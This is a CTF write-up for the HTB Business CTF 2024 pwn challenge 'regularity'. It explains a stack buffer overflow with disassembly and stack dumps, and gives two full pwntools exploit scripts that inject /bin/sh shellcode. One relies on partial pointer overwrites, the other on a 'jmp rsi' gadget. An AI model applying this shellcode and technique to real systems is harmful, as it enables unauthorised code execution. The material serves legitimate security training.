HTB Business CTF 2024 - pwn - regularity
TL;DR #
Using the read
function, we can write our shellcode to the stack and return to a jmp rsi
gadget to jump on it, using
the 0x10
byte stack buffer overflow.
This challenge was marked very easy
(~140 solves) but it took a looong time for me to figure out why.
First I came up with a longer solution that didn't work on the remote server, but more on this bellow.
- Challenge: pwn_regularity.zip
- Exploit: exploit.py, exploit-old.py
The task #
It is a very basic, static program.
# checksec ./regularity
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
This is the entry function.
void processEntry entry(void)
{
write(1,&message1,0x2a);
read();
write(1,&message3,0x27);
syscall();
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata();
}
The write
function is esentially just a syscall.
ssize_t __stdcall write(int __fd, void * __buf, size_t __n)
ssize_t RAX:8
int EDI:4 __fd
void * RSI:8 __buf
size_t RDX:8 __n
write
00401043 b8 01 00 MOV EAX,0x1
00 00
00401048 0f 05 SYSCALL
0040104a c3 RET
The read
function is more important as it contains the stack buffer overflow. 0x100
is substracted from RSP
by
0x110
is read, which results in a 0x10
(2 addresses) overflow. There is no RBP
used, so the return address comes
right after our buffer. Another thing to keep in mind is that when we reach RET
, RSI
still points to our buffer.
ssize_t __stdcall read(void)
ssize_t RAX:8
undefined1 Stack[-0x100... local_100
read
0040104b 48 81 ec SUB RSP,0x100
00 01 00 00
00401052 b8 00 00 MOV EAX,0x0
00 00
00401057 bf 00 00 MOV EDI,0x0
00 00
0040105c 48 8d 34 24 LEA RSI=>local_100,[RSP]
00401060 ba 10 01 MOV EDX,0x110
00 00
00401065 0f 05 SYSCALL
00401067 48 81 c4 ADD RSP,0x100
00 01 00 00
0040106e c3 RET
Exploit #
The RWX
stack is an obvious target, so we load our shellcode to the stack using read
and then somehow jump on it.
The somehow is the fun part.
Attempt 1 (works locally but not remotely) #
Let's have a look at the stack when we hit the first write syscall
.
RSP = 7ffe22766a68
RETURN ADDRESS = 7ffe22766b68
7ffe22766a60: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766a70: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766a80: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766a90: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766aa0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766ab0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766ac0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766ad0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766ae0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766af0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b10: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b20: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b30: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b40: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b50: 0000 0000 0000 0000 0000 0000 0000 0000 ................
7ffe22766b60: 0000 0000 0000 0000 1e10 4000 0000 0000 ..........@.....
7ffe22766b70: 0100 0000 0000 0000 f182 7622 fe7f 0000 ..........v"....
7ffe22766b80: 0000 0000 0000 0000 fe82 7622 fe7f 0000 ..........v"....
7ffe22766b90: 2483 7622 fe7f 0000 6283 7622 fe7f 0000 $.v"....b.v"....
7ffe22766ba0: 8683 7622 fe7f 0000 9a83 7622 fe7f 0000 ..v"......v"....
7ffe22766bb0: d083 7622 fe7f 0000 0284 7622 fe7f 0000 ..v"......v"....
7ffe22766bc0: 0d84 7622 fe7f 0000 2084 7622 fe7f 0000 ..v".... .v"....
7ffe22766bd0: 4e84 7622 fe7f 0000 6584 7622 fe7f 0000 N.v"....e.v"....
7ffe22766be0: 7684 7622 fe7f 0000 8684 7622 fe7f 0000 v.v"......v"....
7ffe22766bf0: a384 7622 fe7f 0000 c884 7622 fe7f 0000 ..v"......v"....
7ffe22766c00: d784 7622 fe7f 0000 ec84 7622 fe7f 0000 ..v"......v"....
7ffe22766c10: 2485 7622 fe7f 0000 d285 7622 fe7f 0000 $.v"......v"....
7ffe22766c20: 0b86 7622 fe7f 0000 5386 7622 fe7f 0000 ..v"....S.v"....
7ffe22766c30: 6b86 7622 fe7f 0000 8686 7622 fe7f 0000 k.v"......v"....
7ffe22766c40: 9986 7622 fe7f 0000 a186 7622 fe7f 0000 ..v"......v"....
7ffe22766c50: cf86 7622 fe7f 0000 ff86 7622 fe7f 0000 ..v"......v"....
7ffe22766c60: 1387 7622 fe7f 0000 2087 7622 fe7f 0000 ..v".... .v"....
7ffe22766c70: 3a87 7622 fe7f 0000 5387 7622 fe7f 0000 :.v"....S.v"....
7ffe22766c80: 6387 7622 fe7f 0000 7c87 7622 fe7f 0000 c.v"....|.v"....
7ffe22766c90: 9b87 7622 fe7f 0000 aa87 7622 fe7f 0000 ..v"......v"....
7ffe22766ca0: c387 7622 fe7f 0000 d487 7622 fe7f 0000 ..v"......v"....
7ffe22766cb0: ed87 7622 fe7f 0000 0088 7622 fe7f 0000 ..v"......v"....
7ffe22766cc0: 1e88 7622 fe7f 0000 3b88 7622 fe7f 0000 ..v"....;.v"....
7ffe22766cd0: 4688 7622 fe7f 0000 4e88 7622 fe7f 0000 F.v"....N.v"....
7ffe22766ce0: 6e88 7622 fe7f 0000 df8f 7622 fe7f 0000 n.v"......v"....
7ffe22766cf0: 0000 0000 0000 0000 2100 0000 0000 0000 ........!.......
7ffe22766d00: 00a0 fdfa 2677 0000 3300 0000 0000 0000 ....&w..3.......
7ffe22766d10: 300e 0000 0000 0000 1000 0000 0000 0000 0...............
7ffe22766d20: fffb ebbf 0000 0000 0600 0000 0000 0000 ................
7ffe22766d30: 0010 0000 0000 0000 1100 0000 0000 0000 ................
7ffe22766d40: 6400 0000 0000 0000 0300 0000 0000 0000 d...............
7ffe22766d50: 4000 4000 0000 0000 0400 0000 0000 0000 @.@.............
7ffe22766d60: 3800 0000 0000 0000 0500 0000 0000 0000 8...............
7ffe22766d70: 0400 0000 0000 0000 0700 0000 0000 0000 ................
7ffe22766d80: 0000 0000 0000 0000 0800 0000 0000 0000 ................
7ffe22766d90: 0000 0000 0000 0000 0900 0000 0000 0000 ................
7ffe22766da0: 0010 4000 0000 0000 0b00 0000 0000 0000 ..@.............
7ffe22766db0: e803 0000 0000 0000 0c00 0000 0000 0000 ................
7ffe22766dc0: e803 0000 0000 0000 0d00 0000 0000 0000 ................
7ffe22766dd0: e803 0000 0000 0000 0e00 0000 0000 0000 ................
7ffe22766de0: e803 0000 0000 0000 1700 0000 0000 0000 ................
7ffe22766df0: 0000 0000 0000 0000 1900 0000 0000 0000 ................
7ffe22766e00: 696e 7622 fe7f 0000 1a00 0000 0000 0000 inv"............
7ffe22766e10: 0200 0000 0000 0000 1f00 0000 0000 0000 ................
7ffe22766e20: eb8f 7622 fe7f 0000 0f00 0000 0000 0000 ..v"............
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000 ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000 ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000 ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6 .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400 j.m..l.F.x86_64.
And with the shellcode loaded to [RSP]
(top of stack), without overwriting the original return address
(5210 4000 0000 0000
):
7ffe22766a60: 0000 0000 0000 0000 6a68 48b8 2f62 696e ........jhH./bin
7ffe22766a70: 2f2f 2f73 5048 89e7 6872 6901 0181 3424 ///sPH..hri...4$
7ffe22766a80: 0101 0101 31f6 566a 085e 4801 e656 4889 ....1.Vj.^H..VH.
7ffe22766a90: e631 d26a 3b58 0f05 6161 6161 6161 6161 .1.j;X..aaaaaaaa
7ffe22766aa0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ab0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ac0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ad0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ae0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766af0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b00: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b10: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b20: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b30: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b40: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b50: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b60: 6161 6161 6161 6161 5210 4000 0000 0000 aaaaaaaaR.@.....
Now the binary is not PIE
(Position Independent Executable), but the stack is at a random address nonetheless, so we
don't know the address where our shellcode was loaded. One common way to circumvent this is to partially overwrite an
existing address in the same memory region (stack in our case). Because numbers and addresses are stored in
little-endian order, and the lowest 1.5 bytes are not randomized (segments align to 0x1000), we can overwrite the lowest
byte without corruption and overwrite 2 bytes with a 1/16 chance of hitting the exact target address.
As we can only write to the stack, we search there for stack addresses that point close to the area that we control.
For example this address won't work as it points far bellow (to higher address) than where it is. So if we would
overwrite the lowest byte, we can reach 7ffe22768200 - 7ffe227682ff
range, but our exploit must end with overwriting
the lowest byte (f1
at 7ffe22766b78
), otherwise we would overwrite other parts of the address as well. So with this
address, we cannot make it point to our buffer.
7ffe22766b70: 0100 0000 0000 0000 f182 7622 fe7f 0000 ..........v"....
...
7ffe227682f1: 002e 2f72 6567 756c 6172 6974 7900 414c ../regularity.AL
There is a good candidate by the end of our hexdump (at 7ffe22766e30
). It points just
7ffe22766e79 - 7ffe22766e30 = 0x49
bytes bellow its location. So our overwritten range where we can return to is
7ffe22766e00 -> 7ffe22766eff
if we insert relative jump instructions here, we can jump right to the beginning of our
exploit code.
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000 ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000 ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000 ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6 .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400 j.m..l.F.x86_64.
Ok, but how are we going to overwrite so many bytes, when we can only overwrite by 0x10
bytes? Let's take a look again
at our read
function.
ssize_t __stdcall read(void)
ssize_t RAX:8
undefined1 Stack[-0x100... local_100
read
0040104b 48 81 ec SUB RSP,0x100
00 01 00 00
00401052 b8 00 00 MOV EAX,0x0
00 00
00401057 bf 00 00 MOV EDI,0x0
00 00
0040105c 48 8d 34 24 LEA RSI=>local_100,[RSP]
00401060 ba 10 01 MOV EDX,0x110
00 00
00401065 0f 05 SYSCALL
00401067 48 81 c4 ADD RSP,0x100
00 01 00 00
0040106e c3 RET
If we return to 00401052
, we can skip SUB RSP,0x100
and still have ADD RSP,0x100
at the end, thus
moving 0x100
down (to higher addresses) on the stack.
sc = asm(shellcraft.sh())
payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)
p.sendafter(b"days?\n", payload)
But this way, the return address moves 0x100
as well and we need it to point exactly to our partially overwritten
address. We can do this by returning to 0040104b SUB RSP,0x100
thus the +0x100
and -0x100
result in 0
,
but RET
still pops one value from the stack, so we can move one QWORD
(8 bytes) at a time. This is the code so far:
sc = asm(shellcraft.sh())
payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)
p.sendafter(b"days?\n", payload)
payload = b''
payload += p64(0x401052)*0x22
p.send(payload)
for i in range(0x16):
payload = b''
payload += p64(0x40104b)*0x22
p.send(payload)
payload = b''
payload += p64(0x40104b)*0x21
p.send(payload)
And the stack state at this point.
7ffe22766a60: 0000 0000 0000 0000 6a68 48b8 2f62 696e ........jhH./bin
7ffe22766a70: 2f2f 2f73 5048 89e7 6872 6901 0181 3424 ///sPH..hri...4$
7ffe22766a80: 0101 0101 31f6 566a 085e 4801 e656 4889 ....1.Vj.^H..VH.
7ffe22766a90: e631 d26a 3b58 0f05 6161 6161 6161 6161 .1.j;X..aaaaaaaa
7ffe22766aa0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ab0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ac0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ad0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766ae0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766af0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b00: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b10: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b20: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b30: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b40: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b50: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
7ffe22766b60: 6161 6161 6161 6161 5210 4000 0000 0000 aaaaaaaaR.@.....
7ffe22766b70: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766b80: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766b90: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766ba0: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766bb0: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766bc0: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766bd0: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766be0: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766bf0: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c00: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c10: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c20: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c30: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c40: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c50: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c60: 5210 4000 0000 0000 5210 4000 0000 0000 R.@.....R.@.....
7ffe22766c70: 5210 4000 0000 0000 4b10 4000 0000 0000 R.@.....K.@.....
7ffe22766c80: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766c90: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766ca0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766cb0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766cc0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766cd0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766ce0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766cf0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d00: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d10: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d20: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d30: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d40: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d50: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d60: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d70: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d80: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d90: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766da0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766db0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766dc0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766dd0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766de0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766df0: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766e00: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766e10: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766e20: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000 ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000 ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000 ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6 .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400 j.m..l.F.x86_64.
Now RSP = 7ffe22766d30
and RET = 7ffe22766e30
so we can overwrite the range 7ffe22766d30 - 7ffe22766e40
. A
relative jump instruction is e9 XXXXXXXX
(5 bytes long) where XXXXXXXX
is a 32 bit integer in little-endian format
that denotes the byte offset relative to the NEXT instruction's address. Our target address is the beginning of our
shellcode at 7ffe22766a68
so for example to 7ffe22766d30
we are going to write e933fdffff
(7ffe22766a68 - (7ffe22766d30 + 5) = fffffd33
).
7ffe22766d00: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d10: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d20: 4b10 4000 0000 0000 4b10 4000 0000 0000 K.@.....K.@.....
7ffe22766d30: e933 fdff ff00 0000 e92b fdff ff00 0000 .3.......+......
7ffe22766d40: e923 fdff ff00 0000 e91b fdff ff00 0000 .#..............
7ffe22766d50: e913 fdff ff00 0000 e90b fdff ff00 0000 ................
7ffe22766d60: e903 fdff ff00 0000 e9fb fcff ff00 0000 ................
7ffe22766d70: e9f3 fcff ff00 0000 e9eb fcff ff00 0000 ................
7ffe22766d80: e9e3 fcff ff00 0000 e9db fcff ff00 0000 ................
7ffe22766d90: e9d3 fcff ff00 0000 e9cb fcff ff00 0000 ................
7ffe22766da0: e9c3 fcff ff00 0000 e9bb fcff ff00 0000 ................
7ffe22766db0: e9b3 fcff ff00 0000 e9ab fcff ff00 0000 ................
7ffe22766dc0: e9a3 fcff ff00 0000 e99b fcff ff00 0000 ................
7ffe22766dd0: e993 fcff ff00 0000 e98b fcff ff00 0000 ................
7ffe22766de0: e983 fcff ff00 0000 e97b fcff ff00 0000 .........{......
7ffe22766df0: e973 fcff ff00 0000 e96b fcff ff00 0000 .s.......k......
7ffe22766e00: e963 fcff ff00 0000 e95b fcff ff00 0000 .c.......[......
7ffe22766e10: e953 fcff ff00 0000 e94b fcff ff00 0000 .S.......K......
7ffe22766e20: e943 fcff ff00 0000 e93b fcff ff00 0000 .C.......;......
7ffe22766e30: 006e 7622 fe7f 0000 1b00 0000 0000 0000 .nv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000 ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000 ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6 .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400 j.m..l.F.x86_64.
After the RET
, the next instruction is:
7ffe22766e00 e9 63 fc JMP 7ffe22766a68
ff ff
And then our shellcode:
7ffe22766a68 6a 68 PUSH 0x68
7ffe22766a6a 48 b8 2f MOV RAX,0x732f2f2f6e69622f
62 69 6e
2f 2f 2f 73
7ffe22766a74 50 PUSH RAX
7ffe22766a75 48 89 e7 MOV RDI,RSP
7ffe22766a78 68 72 69 PUSH 0x1016972
01 01
7ffe22766a7d 81 34 24 XOR dword ptr [RSP],0x1010101
01 01 01 01
7ffe22766a84 31 f6 XOR ESI,ESI
7ffe22766a86 56 PUSH RSI
7ffe22766a87 6a 08 PUSH 0x8
7ffe22766a89 5e POP RSI
7ffe22766a8a 48 01 e6 ADD RSI,RSP
7ffe22766a8d 56 PUSH RSI
7ffe22766a8e 48 89 e6 MOV RSI,RSP
7ffe22766a91 31 d2 XOR EDX,EDX
7ffe22766a93 6a 3b PUSH 0x3b
7ffe22766a95 58 POP RAX
7ffe22766a96 0f 05 SYSCALL
And so we get a shell. Of course we need to be a bit lucky, because the address we want to overwrite points 0x49
byte
bellow itself. We always overwrite with 00
, so if what we overwrite ends in 0x49
, 0x39
... 0x09
we won't hit our
jump table. But we should have a good address with a 68.75%
chance (if it's acrually fully random).
Here is the full solution:
from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
from pwnlib import shellcraft
from pwnlib.asm import asm
p = None
def run():
global p
chall = "./regularity"
context.binary = chall
context.log_level = 'debug'
p = process(chall)
# p = remote("94.237.59.230", "43639")
elf = ELF(chall)
# libc = ELF("libc-2.31.so")
sc = asm(shellcraft.sh())
payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)
p.sendafter(b"days?\n", payload)
payload = b''
payload += p64(0x401052)*0x22
p.send(payload)
for i in range(0x16):
payload = b''
payload += p64(0x40104b)*0x22
p.send(payload)
payload = b''
payload += p64(0x40104b)*0x21
p.send(payload)
payload = b''
for i in range(0x20):
payload += (b'\xe9'+pack('<i',-0x2cd-i*8)+b'\x00'*3)
payload += b'\x00'
p.send(payload)
p.interactive()
if __name__ == "__main__":
run()
The real problem is that this is not reliable as the address we partially overwrite is at a different location on the remote machine. I tried on remnux and it was. I adjusted the exploit code for it, but that one didn't work either. So let's move on to the actually working solution.
Attempt 2 #
As you can recall, this challenge was marked very easy
so there must be a straightforward way to jump to our
shellcode.
And there is, of course. So at the time of read
syscall, RSI
and RSP
both point on our shellcode. And we have a
gadget like this:
0x0000000000401041 : jmp rsi
So if we just return to 0x401041
right away, our shellcode gets executed.
The (much shorter) exploit code:
from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
from pwnlib import shellcraft
from pwnlib.asm import asm
p = None
def run():
global p
chall = "./regularity"
context.binary = chall
context.log_level = 'debug'
# p = process(chall)
p = remote("94.237.59.230", "43639")
elf = ELF(chall)
# libc = ELF("libc-2.31.so")
sc = asm(shellcraft.sh())
payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401041)
p.sendafter(b"days?\n", payload)
p.interactive()
if __name__ == "__main__":
run()
- Previous post: HTB Business CTF 2024 - pwn - no_gadgets
- Next post: Ansible - Show output of long running command